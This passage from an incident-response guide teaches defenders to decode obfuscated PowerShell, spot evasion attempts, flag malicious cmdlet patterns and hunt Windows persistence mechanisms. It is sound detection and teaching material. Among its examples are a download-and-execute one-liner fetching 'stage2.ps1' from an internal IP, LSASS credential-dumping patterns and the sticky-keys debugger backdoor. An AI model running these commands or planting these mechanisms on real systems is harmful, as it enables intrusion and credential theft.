Get-Process | Where-Object {$_.CPU -gt 100}
```

What an attacker (or a legitimate script) would actually pass on the command line:

```
powershell.exe -EncodedCommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBDAFAAVQAgAC0AZwB0ACAAMQAwADAAfQA=
```

To decode it, in PowerShell itself:

```
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALg
```

Memorize that line. It's the single most useful piece of PowerShell forensics tradecraft in this entire guide — you will use it constantly.

In CyberChef: the "From Base64" recipe followed by "Decode text" set to UTF-16LE reproduces the same result without needing a PowerShell session at all, which matters when you're working from a static log export rather than a live or sandboxed host.

6.3.2 Step 2: Recognize a second, compressed layer

Obfuscation is frequently layered — a script gets compressed *before* it's Base64-encoded, both to shrink an otherwise very long encoded command and to defeat simple string-matching detections looking for plaintext indicators inside the Base64 blob. If decoding the Base64 (Step 1) still leaves you with unreadable binary-looking data rather than a script, this is almost always why.

Worked example

Original payload:

```
IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.5/stage2.ps1')
```

Compressed and Base64-encoded:

```
eJzzdI1Q0PBLLdf1T8pKTS5R8Est0QtPTXLOyUzNK9HUc8kvz8vJT0wJLinKzEvXUM8oKSmw0tc3NNADQVP94pLE9FQjvYJiQ3VNAK6zGAM=
```

To decode it, in PowerShell itself (this example uses the standard compressed-stream pattern seen in the wild — adjust the stream class to match `GzipStream` vs `DeflateStream` depending on which compression the sample actually uses):

```
$compressed =
[System.Convert]::FromBase64String("eJzzdI1Q0PBLLdf1T8pKTS5R8Est0QtPTXLOyUzNK9HUc8kvz8vJT0wJLinKzEvXUM8oKSmw0tc3NNADQVP94pLE9FQjvYJiQ3VNAK6zGAM=")
$ms = New-Object System.IO.MemoryStream(,$compressed)
$gz = New-Object System.IO.Compression.GzipStream($ms, [System.IO.Compression.CompressionMode]::Decompress)
$sr = New-Object System.IO.StreamReader($gz)
$sr.ReadToEnd()
```

In CyberChef: "From Base64" followed by "Gunzip" (or "Raw Inflate" if the sample uses raw DEFLATE rather than a full gzip/zlib wrapper — if Gunzip errors out, that's your signal to try Raw Inflate instead).

> **A quick visual tell**
>
> Gzip's file signature (magic bytes `1F 8B 08`) happens to Base64-encode to a string starting with `H4sI` — seeing an encoded blob start with those four characters is a fast, reliable hint that a compression layer is involved before you've even started decoding, worth verifying with `[int][byte[]](...)`-style byte inspection if you want to confirm it yourself rather than take it on faith.

6.3.3 Step 3: Recognize character-code and string-reassembly obfuscation

Once you're past Base64 and compression, the underlying script itself is often *still* obfuscated — this layer defeats human eyeballing and signature matching on the literal text of a malicious cmdlet name, without needing any encoding at all.

Character codes. ASCII values reassembled at runtime:

```
[char]73+[char]69+[char]88   # evaluates to "IEX"
```

(I = 73, E = 69, X = 88 — verify any character code yourself in PowerShell with `[int][char]'I'` if a sample uses a value you don't recognize.)

String splitting and concatenation. The same idea with string fragments instead of char codes — `'I'+'E'+'X'`, or reversed strings rebuilt with `-join`, or the `-f` format operator interleaving fragments.

Backtick insertion. PowerShell's backtick is an escape character, and — critically — a backtick before a character with no defined escape meaning is simply a no-op that yields that character literally. `I`E`X` still parses and executes as `IEX`, because neither `` `E `` nor `` `X `` is a recognized escape sequence. (Backticks *do* change meaning before specific characters — `` `n ``, `` `t ``, `` `r ``, `` `0 ``, `` `a ``, `` `b ``, `` `f ``, `` `v ``, `` `# ``, and a backtick or `$` immediately following a backtick — so a sample avoiding those specific characters after each backtick is a tell that the obfuscation was deliberately constructed, not accidental.)

> **Red flag**
>
> Any of these patterns in a command line or decoded script block, especially feeding directly into `IEX` / `Invoke-Expression` — see Malicious Cmdlet Patterns for the broader reference.

6.3.4 The general decode workflow

1. Find the `-EncodedCommand` / `-enc` flag and its Base64 argument.
2. Decode as **UTF-16LE**, not UTF-8/ASCII.
3. If the result is still unreadable, decompress (try Gunzip, then Raw Inflate).
4. In the resulting script text, look for char-code arrays, string concatenation, or backtick insertion, and manually (or via CyberChef's Magic recipe, which will often auto-detect and chain the right steps) unwind them.
5. Repeat — layered obfuscation tools commonly nest two or three of the above, and it's normal to go through this loop more than once before reaching genuinely final, readable code.

Practice this

PowerShell Decode gives you a fresh, independently-verified `-EncodedCommand` string — different from every example on this page — to decode yourself before checking the answer.

6.3.5 Referenced From

- ATT&CK Coverage Map
- Operationalizing Threat Intelligence
- PowerShell Forensics: Evasion Detection
- Module 4: PowerShell Forensics
- PowerShell Forensics: Logging
- PowerShell Forensics: Malicious Cmdlet Patterns
- Advanced Hunting with KQL
- Practice Drills
- Drill: PowerShell Decode
- Windows IR Quick Reference

6.3.6 Sources

- SANS Digital Forensics Certifications overview (FOR508 / FOR610 — PowerShell and script-based attack analysis)
- Microsoft Learn — `about_Escape_Characters`, `[System.Text.Encoding]` and `[System.Convert]` .NET reference

August 3, 2026

PowerShell

6.4 PowerShell Forensics: Evasion Detection

This page covers three ways attackers try to defeat PowerShell's own defensive features, and — consistent with every other page in this guide — stays strictly on the detection side: how to recognize an evasion *attempt*, not how to build one.

6.4.1 AMSI (Antimalware Scan Interface)

AMSI is the interface that lets an antivirus/EDR engine inspect script content — including PowerShell, VBScript, and JScript — **after deobfuscation, immediately before execution**, which is exactly the point in the pipeline where obfuscated code has already been unwound back to its real, executable form. This is what makes AMSI meaningfully more effective against obfuscation than a static, on-disk file scan: it doesn't matter how the script arrived or how it was disguised in transit, because AMSI sees what's actually about to run.

Because of this, AMSI is a high-value target for evasion, and known bypass-attempt *categories* are worth being able to recognize in telemetry:

- **In-memory patching of `amsi.dll`** — modifying the loaded AMSI module in a process's memory to make scan calls silently report "clean" regardless of content. Detectable via unusual memory-permission changes or unexpected modifications to `amsi.dll`'s in-memory code pages — see Memory Forensics for the underlying analysis techniques.
- **PowerShell downgrade to version 2** — see below; PowerShell v2 predates AMSI integration entirely, so running under v2 sidesteps AMSI without needing to touch or patch it at all.
- **Reflection-based tampering** with the `System.Management.Automation.AmsiUtils` class's internal state via .NET reflection, rather than patching memory directly.

> **Red flag**
>
> Evidence of memory modification to `amsi.dll` in a PowerShell process, or any process attempting to load PowerShell under version 2 on a modern system.

6.4.2 PowerShell version-downgrade attacks

PowerShell maintains backward compatibility — if Windows PowerShell 2.0 is still installed (it's been deprecated for years, but often isn't actually *removed*), a script can explicitly request it:

```
powershell.exe -version 2 -Command "..."
```

Version 2 predates both AMSI and Script Block Logging, so this single flag, if it succeeds, silently drops an attacker back to an execution environment with essentially none of the modern defensive telemetry this guide otherwise relies on.

Detection is refreshingly simple: in any environment where PowerShell v2 has been properly removed (Microsoft's own recommendation), an attempt to invoke `-version 2` fails outright and that failure is itself the detection. In environments where v2 is still present for legacy-compatibility reasons, any `-version 2` invocation at all is worth alerting on directly — legitimate modern administrative work essentially never needs it.

> **Red flag**
>
> Any `powershell.exe -version 2` invocation, full stop, in a modern environment.

6.4.3 Constrained Language Mode (CLM)

CLM restricts PowerShell to a safe subset of the language — blocking direct .NET method invocation, COM object creation, and other capabilities commonly abused for post-exploitation — typically deployed alongside AppLocker or WDAC as part of a broader application-control strategy.

Detecting an *escape attempt* matters more than explaining the restriction itself: look for repeated, rapid-fire errors referencing blocked language elements in Script Block Logging (4104) output immediately preceding a successful, unrestricted-looking command — that pattern is consistent with an attacker iterating through known CLM bypass techniques until one works. A session that starts constrained and later executes something CLM should have blocked is a strong signal regardless of which specific bypass method got them there.

> **Red flag**
>
> A cluster of CLM-restriction errors in 4104 logging immediately followed by execution of a command CLM should have blocked.

6.4.4 Referenced From

- ATT&CK Coverage Map
- Module 4: PowerShell Forensics
- Glossary

6.4.5 Sources

- SANS Digital Forensics Certifications overview (FOR508 / FOR610 — PowerShell attack detection)
- Microsoft Learn — AMSI overview, `about_Language_Modes`

August 3, 2026

PowerShell **T1059** **T1059.001**

6.5 PowerShell Forensics: Malicious Cmdlet Patterns

A reference list of PowerShell patterns worth alerting on directly — not because any single one is inherently malicious (most have legitimate administrative uses), but because their combination, context, or specific usage pattern is a reliable tell. Use this alongside decoded command-line and Script Block Logging content, since these patterns are exactly what's typically hiding underneath an obfuscation layer.

6.5.1 Download-and-execute chains

Pattern	Why it matters
`IEX (New-Object Net.WebClient).DownloadString(...)`	The single most common one-liner in commodity malware and post-exploitation frameworks — download a script as a string and execute it immediately, entirely in memory, with nothing ever written to disk
`Invoke-WebRequest` / `iwr` piped into `Invoke-Expression` / `iex`	Functionally identical to the above using more modern cmdlets
`Invoke-Expression` (`IEX`) fed by *any* dynamically constructed string	The common thread across nearly every pattern on this page — `IEX` is what turns "downloaded or decoded text" into "running code"

Destination worth checking against: raw IP addresses rather than domain names, non-standard ports, and paste-bin-style or code-hosting-raw-file URLs are all disproportionately represented in real malicious traffic compared to legitimate administrative scripting.

6.5.2 In-memory / reflective loading

Pattern	Why it matters
`[System.Reflection.Assembly]::Load(...)`	Loads a .NET assembly directly from a byte array in memory, without ever touching disk — the .NET equivalent of the fileless execution PowerShell itself enables at the script level
`[System.Reflection.Assembly]::LoadWithPartialName(...)`	Same intent, an older/alternate API
`Add-Type` with inline C# source	Compiles and loads arbitrary code at runtime — legitimate in some administrative tooling, but worth reviewing the actual inline source when it appears

6.5.3 Credential and memory access

Pattern	Why it matters
Any script invoking `MiniDumpWriteDump` via P/Invoke, or calling out to `procdump.exe` / `comsvcs.dll` targeting `lsass.exe`	Credential-dumping via LSASS memory access, initiated from PowerShell rather than a standalone tool — cross-reference with LSA Provider / SSP abuse and the baseline process tree expectations for `lsass.exe`

6.5.4 Discovery and reconnaissance chains

Pattern	Why it matters
`Get-ADUser` / `Get-ADComputer` with broad, unfiltered queries, especially run from a workstation rather than a management host	Domain enumeration — legitimate on an admin's jump box, unusual from a regular user endpoint
`nltest`, `Get-NetTCPConnection`, or similar invoked in quick succession from a single session	Consistent with an attacker's situational-awareness phase immediately after gaining a foothold

6.5.5 What ties all of this together

None of these are reliable in isolation — the same cmdlets show up constantly in legitimate IT automation. What matters is context: an unexpected account or host running them, an unusual destination, a cluster of several of these patterns in one session rather than one in isolation, or any of them appearing in a decoded script block that was deliberately hidden behind Base64, compression, or character-code obfuscation in the first place. That last one is the strongest signal on this entire page — legitimate administrative scripts have no reason to hide what they're doing from the person running them.

Red flag

Any pattern on this page found inside a script block that was obfuscated to reach that point.

6.5.6 Referenced From

- Module 4: PowerShell Forensics
- PowerShell Forensics: Obfuscation & Decoding
- PowerShell Forensics: Logging
- Drill: PowerShell Decode

6.5.7 Sources

- SANS Digital Forensics Certifications overview (FOR508 / FOR610 — PowerShell attack tradecraft)
- MITRE ATT&CK — T1059.001 (PowerShell)

August 3, 2026

7. Persistence Catalog

Persistence **T1053.005** **T1078.004** **T1098.001** **T1098.003** **T1114.003** **T1197** **T1543.003** **T1546.003** **T1546.010** **T1546.012** **T1546.015** **T1547.001** **T1547.004** **T1547.005** **T1574.001** **T1606.002**

7.1 Module 5: Persistence Catalog

Every persistence mechanism here is written once, tagged with its ATT&CK sub-technique, and linked to from wherever it's relevant — a playbook, an artifact page, a Defender detection. Nothing about persistence gets explained twice in this guide; this module is the single source of truth.

7.1.1 Structure every entry follows

Mechanism → ATT&CK ID → where the evidence lives → detection query/approach → cleanup

7.1.2 Module status: complete

Endpoint persistence

- [x] Registry Run / RunOnce Keys (T1547.001)
- [x] Scheduled Tasks (T1053.005)
- [x] Windows Services (T1543.003)
- [x] WMI Event Subscriptions (T1546.003)
- [x] COM Hijacking & DLL Search-Order Hijacking (T1546.015 / T1574.001)
- [x] AppInit_DLLs & Image File Execution Options (T1546.010 / T1546.012)
- [x] LSA Provider / Security Support Provider Abuse (T1547.005)
- [x] BITS Jobs (T1197)
- [x] Winlogon Shell/Userinit Modification (T1547.004)

Cloud/hybrid identity persistence

- [x] Malicious OAuth Application Consent Grants (T1098.003)
- [x] Backdoor App Registrations & Service Principal Credentials (T1098.001)
- [x] Mailbox Forwarding Rules & Delegate Access (T1114.003)
- [x] Federation Trust Abuse ("Golden SAML") (T1606.002)
- [x] Break-Glass / Emergency-Access Account Abuse (T1078.004)

Cloud persistence deserves equal billing with endpoint persistence in this catalog — an attacker who gets kicked off a host but left a mail-forwarding rule or an OAuth grant behind hasn't actually been evicted. See Module 6's hybrid runbook for the remediation order that accounts for this.

7.1.3 Referenced From

- ATT&CK Coverage Map
- MITRE ATT&CK Primer
- The Pyramid of Pain
- Module 1: Windows Endpoint Forensics
- Artifact: Registry Hives

- Malware Triage Methodology
- The Entra Connect Server: A Target in Its Own Right
- Module 6: Cloud Identity (Entra ID / Hybrid)
- Advanced Hunting with KQL
- Automated Investigation & Remediation: What It Does, and Doesn't, Do
- Playbook: Data Exfiltration
- Playbook: Domain Compromise / Lateral Movement
- Playbook: Ransomware
- Volume Shadow Copy Recovery
- Enterprise DFIR Field Guide
- Windows IR Quick Reference

August 3, 2026

Endpoint **Persistence** **T1547** **T1547.001**

7.2 Persistence: Registry Run / RunOnce Keys

ATT&CK: T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

7.2.1 The mechanism

Anything listed under a Run key executes automatically at logon. It's the oldest, simplest, and still most commonly abused persistence mechanism on Windows — high noise tolerance for an attacker, since these keys are legitimately busy on most machines.

Key	Scope	Runs
`HKLM\Software\Microsoft\Windows\CurrentVersion\Run`	All users	Every logon
`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`	Current user	Every logon for that user
`...\RunOnce` (both hives)	As above	Once, then the value is deleted automatically

7.2.2 Where the evidence lives

The registry values themselves (compare against a known-good baseline — most entries are legitimate software), plus Sysmon Event ID 13 (`RegistryEvent (Value Set)`) if Sysmon is deployed and configured to watch these specific keys.

7.2.3 Detection approach

Baseline what's normally present per machine image/role, then alert on any new value under these four keys. Pay particular attention to values pointing at scripts (`.vbs`, `.js`, `.ps1`) or using `rundll32.exe` / `regsvr32.exe` to launch something indirectly — legitimate installers use these keys too, but rarely to launch a script interpreter.

Red flag

A new Run-key value referencing a script interpreter, an encoded PowerShell command, or an executable in a temp/user-writable path.

7.2.4 Cleanup

Remove the value, then confirm nothing re-adds it on next logon — a Run key is often a *symptom* left behind by a scheduled task or WMI subscription that's the actual root persistence, not the whole story by itself.

Practice this

Registry Persistence Triage puts six Run key values in front of you, five legitimate and one planted — find it before revealing the answer.

7.2.5 Referenced From

- Module 5: Persistence Catalog
- Practice Drills
- Drill: Registry Persistence Triage

7.2.6 Sources

- MITRE ATT&CK — T1547.001
- SANS Digital Forensics Certifications overview (FOR508 — persistence hunting)

August 3, 2026

Endpoint **Persistence** **T1053** **T1053.005**

7.3 Persistence: Scheduled Tasks

ATT&CK: T1053.005 — Scheduled Task/Job: Scheduled Task

7.3.1 The mechanism

A scheduled task can trigger on nearly anything — a time, a logon, an idle period, a specific event log entry — which makes it flexible for an attacker wanting a persistence method that isn't tied strictly to logon (unlike Run keys) and that most admins don't audit closely.

- **Definitions live at:** `C:\Windows\System32\Tasks\<TaskName>` (XML files, one per task)
- **Registered via:** `schtasks.exe`, the Task Scheduler GUI, or the underlying COM/`Register-ScheduledTask` API

7.3.2 Where the evidence lives

- Event ID 4698 (Security log — "A scheduled task was created") — requires Object Access auditing enabled
- Microsoft-Windows-TaskScheduler/Operational log, Event IDs 106 (task registered) and 200/201 (task started/completed) — often available even when Security-log auditing isn't
- The task's XML definition itself, which records the exact action, trigger, and the account context it runs under

7.3.3 Detection approach

Look for tasks whose **Author** field doesn't match a legitimate software vendor or your own deployment tooling, tasks with disguised or misleading names mimicking legitimate Windows tasks, and tasks configured to run as `SYSTEM` that were created by a non-administrative account. Cross-reference task creation timestamps against your change-management records — a task nobody remembers creating is worth investigating regardless of how innocuous it looks.

> **Red flag**
>
> A task with a generic/mimicked name, an unexplained `SYSTEM`-level run-as context, or an action pointing at a script interpreter or an executable in a user-writable path.

7.3.4 Cleanup

Delete the task (`schtasks /delete`), but pull and preserve the XML definition first — it's your best record of exactly what the attacker configured, including any command-line arguments that might reveal C2 infrastructure or a staged payload path.

7.3.5 Referenced From

- Module 5: Persistence Catalog
- Advanced Hunting with KQL
- Playbook: Ransomware

7.3.6 Sources

- MITRE ATT&CK — T1053.005
- SANS Digital Forensics Certifications overview (FOR508 — persistence hunting)

August 3, 2026

Endpoint **Persistence** **T1543** **T1543.003**

7.4 Persistence: Windows Services

ATT&CK: T1543.003 — Create or Modify System Process: Windows Service

7.4.1 The mechanism

A malicious service survives reboots, typically runs as `SYSTEM`, and — because it's launched by the Service Control Manager rather than a user session — doesn't show up anywhere near the process trees a user's activity would generate. Attackers either create a new service or, more subtly, modify an existing legitimate one's binary path.

- **Registered under:** `HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>`
- **Created via:** `sc.exe create`, `New-Service`, or directly writing the registry key

7.4.2 Where the evidence lives

- Event ID 7045 (**System** log — "A service was installed") — logged by default with no special auditing required, which makes it one of the more reliable service-creation signals available out of the box
- Event ID 4697 (Security log) — requires Object Access auditing
- The `ImagePath` value under the service's registry key — check this even for services that already existed; a modified `ImagePath` on a legitimate-looking service name is a common evasion move

7.4.3 Detection approach

Alert on every 7045 event and triage by binary path and service name plausibility — a service with a random or generic name, or a legitimate-sounding name pointing at a binary in an unexpected location, deserves a look. For existing services, periodically diff `ImagePath` values against a known-good baseline; a change here without a corresponding patch/update event is a strong signal.

> **Red flag**
>
> A newly created service with a generic or misleading name, or an `ImagePath` change on an existing service with no corresponding legitimate update.

7.4.4 Cleanup

Stop and delete the service (`sc.exe delete`), and if `ImagePath` was hijacked on a legitimate service, restore the original path rather than just deleting the service outright.

7.4.5 Referenced From

- Module 5: Persistence Catalog
- Playbook: Ransomware

7.4.6 Sources

- MITRE ATT&CK — T1543.003
- SANS Digital Forensics Certifications overview (FOR508 — persistence hunting)

August 3, 2026

Endpoint **Persistence** **T1546** **T1546.003**

7.5 Persistence: WMI Event Subscriptions

ATT&CK: T1546.003 — Event Triggered Execution: Windows Management Instrumentation Event Subscription

7.5.1 The mechanism

This is one of the stealthiest persistence mechanisms available on Windows precisely because it doesn't touch the filesystem or the registry in the way most other techniques do — it lives inside the WMI repository itself. Three pieces work together:

- **`__EventFilter`** — a WQL query defining the trigger condition (e.g., "system uptime crosses a threshold," "a specific process starts")
- **`__EventConsumer`** — the action to take when the filter matches, most commonly a `CommandLineEventConsumer` (run a command) or `ActiveScriptEventConsumer` (run embedded VBScript/JScript)
- **`__FilterToConsumerBinding`** — the object that links the two together and actually activates the subscription

7.5.2 Where the evidence lives

If Sysmon is deployed with WMI monitoring enabled (available since Sysmon 6.10), all three components generate their own event:

Sysmon Event ID	Component	What it shows
19	`WmiEventFilter`	The filter's WQL query and name
20	`WmiEventConsumer`	The consumer type and the actual command/script it runs
21	`WmiEventConsumerToFilter`	The binding that activates the pair

Without Sysmon, the native `Microsoft-Windows-WMI-Activity/Operational` log is the fallback, though it's less consistently useful for this specific pattern.

7.5.3 Detection approach

WMI event subscriptions are genuinely rare in normal enterprise environments outside specific management/monitoring software — this makes a "log everything, alert on everything not explicitly allow-listed" approach practical here in a way it isn't for noisier artifacts. Look for all three event IDs (19, 20, 21) clustered close together in time — real WMI persistence needs all three components registered as a set. A classic trigger pattern worth specifically watching for: a filter keyed to system uptime crossing a narrow window shortly after boot, a common way malware waits out early-boot security tooling before firing.

> **Red flag**
>
> Any `CommandLineEventConsumer` or `ActiveScriptEventConsumer` not tied to known management software, especially one bound to an uptime- or process-start-based filter.

7.5.4 Cleanup

Remove all three WMI objects (`Get-WmiObject -Namespace root\subscription -Class __EventFilter` / `__EventConsumer` / `__FilterToConsumerBinding`, then delete the matching instances) — removing only one leaves the others orphaned but potentially reusable if a filter or consumer with the same name gets re-registered.

7.5.5 Referenced From

- Module 5: Persistence Catalog

7.5.6 Sources

- MITRE ATT&CK — T1546.003
- Sysmon documentation (Microsoft Sysinternals) — WMI event logging, added in v6.10

August 3, 2026

Endpoint **Persistence** **T1546** **T1546.015** **T1574** **T1574.001**

7.6 Persistence: COM Hijacking & DLL Search-Order Hijacking

Two different mechanisms, grouped here because both exploit the same underlying weakness: Windows trusting a lookup (a registry pointer, or a search path) without verifying what it resolves to actually belongs to the legitimate vendor.

7.6.1 COM Hijacking

ATT&CK: T1546.015

Every registered COM object has a `CLSID` entry pointing to the DLL or EXE that implements it. Overwrite that pointer — usually in `HKCU\Software\Classes\CLSID\{GUID}\InprocServer32`, which a standard user can write to without any elevation — and any application that instantiates that COM object runs the attacker's code instead of the legitimate one, often completely silently.

- **Where the evidence lives:** the `InprocServer32` default value under the hijacked CLSID — compare against the legitimate value registered under `HKLM` for the same CLSID, which normal software doesn't override at the per-user level.
- **Red flag:** an `HKCU`-scoped `CLSID` override that shadows a legitimate `HKLM` COM registration, pointing at a DLL outside the normal `System32` / `Program Files` locations.

7.6.2 DLL Search-Order Hijacking

ATT&CK: T1574.001

When an application loads a DLL by name rather than full path, Windows searches a defined order of locations. Drop a malicious DLL with the exact same name as a legitimate one into a directory that's searched *before* the real DLL's location — often simply the application's own working directory — and the application loads the attacker's version instead, typically without any error or warning.

- **Where the evidence lives:** a DLL in an application's working directory that duplicates the name of a DLL normally loaded from `System32`, especially if its digital signature is missing or doesn't match the legitimate vendor. Sysmon Event ID 7 (`ImageLoad`) shows the actual load path when configured to log it.
- **Red flag:** an unsigned or mismatched-signature DLL loaded from a non-standard path, with a filename matching a well-known system DLL.

> **Red flag (both mechanisms)**
>
> Code executing under the identity of a trusted application without that application's binary itself having changed — check what it *loaded*, not just what launched it.

7.6.3 Cleanup

Remove the hijacked `CLSID` override or the planted DLL, and verify the legitimate `HKLM` COM registration or system DLL is intact and unmodified before considering the host clean.

7.6.4 Referenced From

- Module 5: Persistence Catalog

7.6.5 Sources

- MITRE ATT&CK — T1546.015 / T1574.001
- SANS Digital Forensics Certifications overview (FOR508 — persistence and defense-evasion hunting)

August 3, 2026

Endpoint **Persistence** **T1546** **T1546.010** **T1546.012**

7.7 Persistence: AppInit_DLLs & Image File Execution Options

Two more mechanisms grouped together — both are Windows compatibility features from an earlier, more trusting era of the OS, both are still functional, and both give an attacker code execution tied to legitimate processes rather than a standalone process of their own.

7.7.1 AppInit_DLLs

ATT&CK: T1546.010

Any DLL listed here gets loaded by `user32.dll` into essentially every process that has a GUI — which in practice is most processes on the system.

- **Registry:** `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows` (and the `Wow6432Node` equivalent on 64-bit systems)
  - `LoadAppInit_DLLs` must be `1` for the mechanism to be active at all — it's `0` by default
  - `AppInit_DLLs` holds the path(s) to load
  - `RequireSignedAppInit_DLLs` — if `0`, unsigned DLLs are accepted; this is the setting that turns the mechanism from "annoying to abuse" into "trivial to abuse"
- **Important modern caveat:** this mechanism is disabled outright on Windows 8 and later when Secure Boot is enabled, which meaningfully narrows where it's a realistic threat today.
- **Red flag:** `LoadAppInit_DLLs` set to `1` with a populated `AppInit_DLLs` value on a system where nothing legitimately needs this — real-world use of this legitimate feature is rare enough that its mere presence, active, is worth investigating.

7.7.2 Image File Execution Options (IFEO) Debugger Hijack

ATT&CK: T1546.012

IFEO exists so developers can attach a debugger to a specific executable automatically. Set a `Debugger` value for a target executable, and Windows launches *that* debugger instead of the target — with the target's name passed as an argument the "debugger" is free to ignore entirely.

- **Registry:** `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<target.exe>\Debugger`
- **The canonical example:** the "sticky keys backdoor" — setting `Debugger` for `sethc.exe` (the Accessibility shortcut triggered by pressing Shift five times) to `cmd.exe` gives anyone at the physical or RDP login screen a `SYSTEM`-level command prompt, no credentials required, before Windows even logs anyone in. The same pattern works against `utilman.exe` (the Ease of Access button on the login screen).
- **Red flag:** any `Debugger` value under IFEO for an accessibility tool (`sethc.exe`, `utilman.exe`, `osk.exe`, `magnify.exe`, `narrator.exe`) or for a security/monitoring tool an attacker might want to silently disable.

> **Red flag**
>
> A `Debugger` value on an accessibility executable, or an active `AppInit_DLLs` configuration with no legitimate business justification.

7.7.3 Cleanup

Delete the offending registry value(s) entirely — `Debugger`, `AppInit_DLLs`, or reset `LoadAppInit_DLLs` to `0`. For the sticky-keys pattern specifically, verify no other accessibility executable was similarly hijacked; attackers who use one often set up two or three as redundant footholds.

7.7.4 Referenced From

- Module 5: Persistence Catalog

7.7.5 Sources

- MITRE ATT&CK — T1546.010 / T1546.012
- SANS Digital Forensics Certifications overview (FOR508 — persistence hunting)

August 3, 2026

Endpoint **Persistence** **T1547** **T1547.005**

7.8 Persistence: LSA Provider / Security Support Provider Abuse

ATT&CK: T1547.005 — Boot or Logon Autostart Execution: Security Support Provider

7.8.1 The mechanism

Security Support Providers (SSPs) are DLLs loaded directly into `lsass.exe` to handle authentication packages (Kerberos, NTLM, and so on). Registering a malicious DLL as an SSP gets it loaded into the single most credential-rich process on the entire host, on every boot, with no additional exploitation needed — this is exactly the technique behind Mimikatz's `misc::memssp` module, which installs a rogue SSP that logs every plaintext credential passed through LSA from that point forward.

- **Registry:** `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages` (and the related `Authentication Packages` value)

7.8.2 Where the evidence lives

The registry value itself — compare the list of loaded packages against a known-good baseline; legitimate SSP lists are short and stable. Because this loads a new DLL into `lsass.exe`, it also shows up as a module load against `lsass.exe` — Sysmon Event ID 7 (`ImageLoad`) if configured to log LSASS specifically, or via memory analysis (`ldrmodules` in Volatility).

7.8.3 Detection approach

Any addition to the `Security Packages` value outside of a documented change (a new third-party authentication product being deployed) deserves immediate investigation — this list changes rarely on a healthy host. Given the direct tie to `lsass.exe`, this pairs naturally with the baseline process tree discipline: an unexpected DLL loaded into the one process that should always have exactly one instance, with exactly one legitimate parent, is a high-confidence signal.

> **Red flag**
>
> Any unrecognized entry in `Security Packages`, or an unexpected DLL load event against `lsass.exe`.

7.8.4 Cleanup

Remove the malicious entry from `Security Packages`, then reboot — the SSP is loaded at boot, so removing the registry reference alone doesn't unload it from an already-running `lsass.exe`. Treat any host with a confirmed rogue SSP as having had credentials for every account that authenticated since installation potentially exposed.

7.8.5 Referenced From

- PowerShell Forensics: Malicious Cmdlet Patterns
- Module 5: Persistence Catalog
- Glossary

7.8.6 Sources

- MITRE ATT&CK — T1547.005
- SANS Digital Forensics Certifications overview (FOR508 — credential-theft persistence)

August 3, 2026

Endpoint **Persistence** **T1197**

7.9 Persistence: BITS Jobs

ATT&CK: T1197 — BITS Jobs

7.9.1 The mechanism

The Background Intelligent Transfer Service exists to move files in the background — reliably, resumably, and throttled — for things like Windows Update. It's a signed, trusted Windows component, which makes abusing it for download or persistence unusually stealthy: traffic and activity attributed to BITS doesn't attract the same scrutiny as an unfamiliar process reaching out to the internet. BITS jobs can also be configured to run a program automatically on completion or on error, giving an attacker a scheduled-execution mechanism that isn't a Scheduled Task and isn't a Run key.

- **Created via:** `bitsadmin.exe` (deprecated but still functional), the `BitsTransfer` PowerShell module, or the underlying COM interface directly

7.9.2 Where the evidence lives

`Microsoft-Windows-Bits-Client/Operational` event log — records job creation, transfer activity, and any configured notification command. This is the primary place to look; BITS jobs don't create the kind of registry or Run-key footprint most other persistence mechanisms do.

7.9.3 Detection approach

Alert on BITS jobs configured with a `SetNotifyCmdLine` (the completion-command feature) — legitimate BITS usage overwhelmingly doesn't need this, so its mere presence is a strong filter. Also flag BITS jobs downloading from destinations outside your normal update/content-delivery infrastructure, and any use of `bitsadmin.exe` at all in environments where it's been deprecated in favor of the PowerShell module — its continued use can itself be a weak signal of older tooling or an unmaintained attacker toolkit.

> **Red flag**
>
> A BITS job with a configured notification command, or a transfer job pointed at an unfamiliar external destination.

7.9.4 Cleanup

Enumerate and remove the job (`bitsadmin /list /allusers` to find it, `bitsadmin /cancel <jobid>` to remove it, or the equivalent `Get-BitsTransfer` / `Remove-BitsTransfer` cmdlets), and treat the configured notification command as you would any other discovered piece of attacker tooling — it may point directly at a staged payload or C2 endpoint.

7.9.5 Referenced From

- Module 5: Persistence Catalog

7.9.6 Sources

- MITRE ATT&CK — T1197
- SANS Digital Forensics Certifications overview (FOR508 — living-off-the-land persistence)

August 3, 2026

Endpoint **Persistence** **T1547** **T1547.004**

7.10 Persistence: Winlogon Shell / Userinit Modification

ATT&CK: T1547.004 — Boot or Logon Autostart Execution: Winlogon Helper DLL

7.10.1 The mechanism

`winlogon.exe` reads a small number of registry values to know what to launch as a session starts. Two are the classic abuse targets:

- **`Shell`** — normally just `explorer.exe`. Anything appended here (Windows accepts a comma-separated list) launches alongside the user's actual shell.
- **`Userinit`** — normally `C:\Windows\system32\userinit.exe,` (note the trailing comma — normal). `userinit.exe` runs logon scripts and then launches whatever `Shell` points to; appending an additional path here runs it before the shell even starts.

Both live at `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon`.

7.10.2 Where the evidence lives

The registry values themselves — this is a small, stable baseline (essentially two known-good strings), which makes any deviation trivial to spot once you're actually checking. Sysmon Event ID 13 (`RegistryEvent (Value Set)`) if configured to watch this specific key.

7.10.3 Detection approach

Check `Shell` and `Userinit` against their known-good values on every host in scope — there's no legitimate reason for most environments to see variation here at all. Anything beyond `explorer.exe` in `Shell`, or anything beyond the standard `userinit.exe` path (with its trailing comma) in `Userinit`, warrants investigation.

Baseline

`Shell` = `explorer.exe`. `Userinit` = `C:\Windows\system32\userinit.exe,` — trailing comma included.

Red flag

Any additional executable path appended to either value.

7.10.4 Cleanup

Restore both values to their standard defaults exactly — a typo or extra character left behind during remediation can itself break normal logon for every user on the host, so verify the restored value character-for-character rather than assuming it's back to normal.

7.10.5 Referenced From

- Module 5: Persistence Catalog

7.10.6 Sources

